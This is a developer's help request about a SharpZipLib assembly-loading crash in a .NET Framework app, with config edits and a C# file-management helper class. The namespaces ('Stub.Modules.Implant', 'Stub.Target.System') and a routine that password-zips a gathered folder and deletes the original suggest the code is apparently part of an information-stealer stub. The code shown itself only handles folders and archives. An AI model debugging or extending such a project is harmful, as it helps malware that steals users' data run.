Good day. I am stuck in Dll limbo. When I run my code in VS 2022, it builds without errors and runs properly. But when I build to release or debug and run my file I get the error on my task manager “WerFault” it creates a crashdump file, which when I analyze it on my VS I get the error
System.IO.FileNotFoundException
HResult=0x80070002
Message=Could not load file or assembly 'ICSharpCode.SharpZipLib, Version=1.4.2.13, Culture=neutral, PublicKeyToken=1b03e6acf1164f73' or one of its dependencies. The system cannot find the file specified.
Source=<Cannot evaluate the exception source>
StackTrace:
<Cannot evaluate the exception stack trace>
Steps I have taken to fix this.
-
I checked and ICSharpCode.SharpZipLib, Version=1.4.2.13 is in same folder as the app.exe file.
-
Checked that the Version is same and the app.exe framework is targeting 4.8
-
I edited my app.config
<dependentAssembly>
<assemblyIdentity name="ICSharpCode.SharpZipLib" publicKeyToken="1b03e6acf1164f73" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-1.4.2.13" newVersion="1.4.2.13" />
</dependentAssembly>
- I edited my csproj
<Reference Include="ICSharpCode.SharpZipLib, Version=1.4.2.13, Culture=neutral, PublicKeyToken=1b03e6acf1164f73, processorArchitecture=MSIL">
<HintPath>..\packages\SharpZipLib.1.4.2\lib\netstandard2.0\ICSharpCode.SharpZipLib.dll</HintPath>
</Reference>
- I also added this to the program.cs file
AppDomain.CurrentDomain.AssemblyResolve += (sender, args) => {
string assemblyPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "ICSharpCode.SharpZipLib.dll");
if (File.Exists(assemblyPath)) {
return Assembly.LoadFrom(assemblyPath);
}
return null;
};
This is the code below
using System.IO;
using System.Linq;
using Stub.Modules.Implant;
using Stub.Target.System;
using ICSharpCode.SharpZipLib.Zip;
using ICSharpCode.SharpZipLib.Core;
namespace Stub.Helpers
{
/// <summary>
/// The Filemanager class provides file management utilities such as recursive deletion,
/// directory copying, directory size calculation, and archive creation.
/// </summary>
internal sealed class Filemanager
{
/// <summary>
/// Recursively deletes a directory and all its subdirectories.
/// </summary>
/// <param name="path">The path of the directory to delete.</param>
public static void RecursiveDelete(string path)
{
var baseDir = new DirectoryInfo(path);
// If directory doesn't exist, return
if (!baseDir.Exists) return;
// Recursively delete all subdirectories
foreach (var dir in baseDir.GetDirectories())
{
RecursiveDelete(dir.FullName);
}
// Delete the base directory itself
var files = baseDir.GetFiles();
foreach (var file in files)
{
file.IsReadOnly = false;
file.Delete();
}
baseDir.Delete(true);
}
/// <summary>
/// Copies a directory and all its contents to a new location.
/// </summary>
/// <param name="sourceFolder">The source folder path to copy from.</param>
/// <param name="destFolder">The destination folder path to copy to.</param>
public static void CopyDirectory(string sourceFolder, string destFolder)
{
// Ensure the destination directory exists
if (!Directory.Exists(destFolder))
{
Directory.CreateDirectory(destFolder);
}
// Copy all files in the current directory
var files = Directory.GetFiles(sourceFolder);
foreach (var file in files)
{
var fileName = Path.GetFileName(file);
var destFile = Path.Combine(destFolder, fileName);
File.Copy(file, destFile);
}
// Recursively copy all subdirectories
var folders = Directory.GetDirectories(sourceFolder);
foreach (var folder in folders)
{
var folderName = Path.GetFileName(folder);
var destFolderPath = Path.Combine(destFolder, folderName);
CopyDirectory(folder, destFolderPath);
}
}
/// <summary>
/// Calculates the size of a directory by summing the sizes of all its files and subdirectories.
/// </summary>
/// <param name="path">The path of the directory.</param>
/// <returns>The total size of the directory in bytes.</returns>
public static long DirectorySize(string path)
{
var dirInfo = new DirectoryInfo(path);
// Sum the sizes of all files in the directory
var fileSizeSum = dirInfo.GetFiles().Sum(file => file.Length);
// Recursively sum the sizes of all subdirectories
var dirSizeSum = dirInfo.GetDirectories().Sum(subDir => DirectorySize(subDir.FullName));
return fileSizeSum + dirSizeSum;
}
/// <summary>
/// Creates a compressed archive (ZIP) of a specified directory using ZipManager.
/// Optionally sets a password on the archive.
/// </summary>
/// <param name="directory">The directory to compress into an archive.</param>
/// <param name="setPassword">Whether to set a password for the archive. Default is true.</param>
/// <returns>The path to the created ZIP archive.</returns>
public static string CreateArchive(string directory, bool setPassword = true)
{
if (!Directory.Exists(directory))
{
throw new DirectoryNotFoundException($"The directory '{directory}' does not exist.");
}
// Prepare the ZIP archive path
var zipPath = directory + ".zip";
// Prepare the ZIP comment with system and hardware information
string zipComment = "" +
$"\nPassword:" +
"\n1234567890"
"\n";
// Set the password if needed
string password = setPassword ? StringsCrypt.ArchivePassword : null;
// Create the ZIP archive using ZipManager
ZipManager.CreatePasswordProtectedZip(directory, zipPath, password, zipComment);
// Recursively delete the original directory
RecursiveDelete(directory);
// Log the completion of the compression
Logging.Log($"Archive '{new DirectoryInfo(directory).Name}' compression completed");
return zipPath;
}
}
}